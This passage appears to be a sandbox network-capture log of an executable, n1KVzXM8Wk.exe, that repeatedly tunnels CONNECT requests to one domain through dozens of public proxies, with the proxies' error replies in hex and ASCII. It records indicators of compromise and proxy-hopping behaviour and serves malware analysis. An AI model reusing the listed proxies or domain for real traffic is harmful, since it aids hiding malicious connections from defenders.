Feb 23, 2024 09:45:16.188162088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49752	184.181.217.201	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.102291107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50286	45.43.71.147	6745	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.112128973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.404040098 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50268	185.38.111.1	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.116312981 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:16.303313017 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 0
Feb 23, 2024 09:45:16.880831957 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 0
Feb 23, 2024 09:45:16.958709002 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50348	45.12.31.3	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.166740894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.254045010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50211	47.56.110.204	8989	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.166740894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.473196030 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 08:31:54 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50369	203.30.189.103	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.168783903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.256340027 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50325	167.71.5.83	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.171825886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.397851944 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50214	149.28.141.180	65201	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.172734022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.315337896 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50372	172.67.250.212	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.173682928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.260608912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50236	20.205.61.143	8123	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.238692999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.551429033 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50400	185.162.228.128	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.240154028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.328059912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50333	5.196.111.30	20481	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.240173101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50318	82.208.111.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.245662928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.771709919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.443732023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.834476948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.443896055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.122039080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.701240063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834676027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50247	103.78.0.44	3129	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.245852947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50408	185.162.228.154	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.245950937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.333352089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50362	144.21.53.111	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.246282101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.693641901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.178006887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.147018909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50341	161.97.74.176	30000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.246383905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50347	141.94.174.6	39796	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.246661901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50176	222.138.76.6	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.246752977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.099842072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.539020061 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49742	128.199.221.91	12259	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.246844053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.365585089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50266	167.172.86.46	10471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.247071028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50364	87.106.114.124	6005	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.247126102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49852	188.235.0.207	8181	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.252399921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.513730049 CET	994	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:46:25 GMT Server: Apache/2.4.55 (Win64) OpenSSL/1.1.1s Access-Control-Allow-Origin: * Access-Control-Max-Age: 1000 Access-Control-Allow-Headers: X-Requested-With, Content-Type, Origin, Authorization, Accept, Client-Security-Token, Accept-Encoding Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 